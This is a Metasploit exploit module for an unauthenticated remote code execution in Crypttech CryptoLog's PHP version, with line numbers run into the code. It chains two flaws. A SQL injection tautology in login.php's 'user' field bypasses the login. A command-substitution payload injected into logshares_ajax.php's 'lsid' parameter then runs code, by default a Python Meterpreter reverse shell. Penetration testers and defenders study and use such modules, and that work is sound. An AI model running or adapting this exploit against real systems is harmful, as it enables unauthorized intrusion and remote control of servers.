Path: blob/master/modules/exploits/linux/http/crypttech_cryptolog_login_exec.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => "Crypttech CryptoLog Remote Code Execution",15'Description' => %q{16This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.17An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities18are no longer present in the ASP.NET version CryptoLog, available since 2009.1920CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is21used by the application without input validation and parameter binding, which leads to SQL injection22vulnerability. Successfully exploiting this vulnerability gives a valid session.2324CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not25possible to access this endpoint without having a valid session. One user parameter is used by the26application while executing an operating system command, which causes a command injection issue.2728Combining these vulnerabilities gives the opportunity execute operation system commands under the context29of the web user.30},31'License' => MSF_LICENSE,32'Author' => [33'Mehmet Ince <[email protected]>' # author & msf module34],35'References' => [36['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']37],38'DefaultOptions' => {39'Payload' => 'python/meterpreter/reverse_tcp'40},41'Platform' => ['python'],42'Arch' => ARCH_PYTHON,43'Targets' => [[ 'Automatic', {}]],44'Privileged' => false,45'DisclosureDate' => '2017-05-03',46'DefaultTarget' => 0,47'Notes' => {48'Reliability' => UNKNOWN_RELIABILITY,49'Stability' => UNKNOWN_STABILITY,50'SideEffects' => UNKNOWN_SIDE_EFFECTS51}52)53)5455register_options(56[57Opt::RPORT(80),58OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])59]60)61end6263def bypass_login64r = rand_text_alpha(15)65i = rand_text_numeric(5)6667res = send_request_cgi({68'method' => 'POST',69'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),70'vars_get' => {71'act' => 'login'72},73'vars_post' => {74'user' => "' OR #{i}=#{i}#",75'pass' => "#{r}"76}77})7879if res && res.code == 302 && res.headers.include?('Set-Cookie')80res.get_cookies81else82nil83end84end8586def check87if bypass_login.nil?88Exploit::CheckCode::Safe89else90Exploit::CheckCode::Appears91end92end9394def exploit95print_status("Bypassing login by exploiting SQLi flaw")9697cookie = bypass_login9899if cookie.nil?100fail_with(Failure::Unknown, "Something went wrong.")101end102103print_good("Successfully logged in")104105print_status("Exploiting command injection flaw")106r = rand_text_alpha(15)107108send_request_cgi({109'method' => 'POST',110'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),111'cookie' => cookie,112'vars_post' => {113'opt' => "check",114'lsid' => "$(python -c \"#{payload.encoded}\")",115'lssharetype' => "#{r}"116}117})118end119end120121122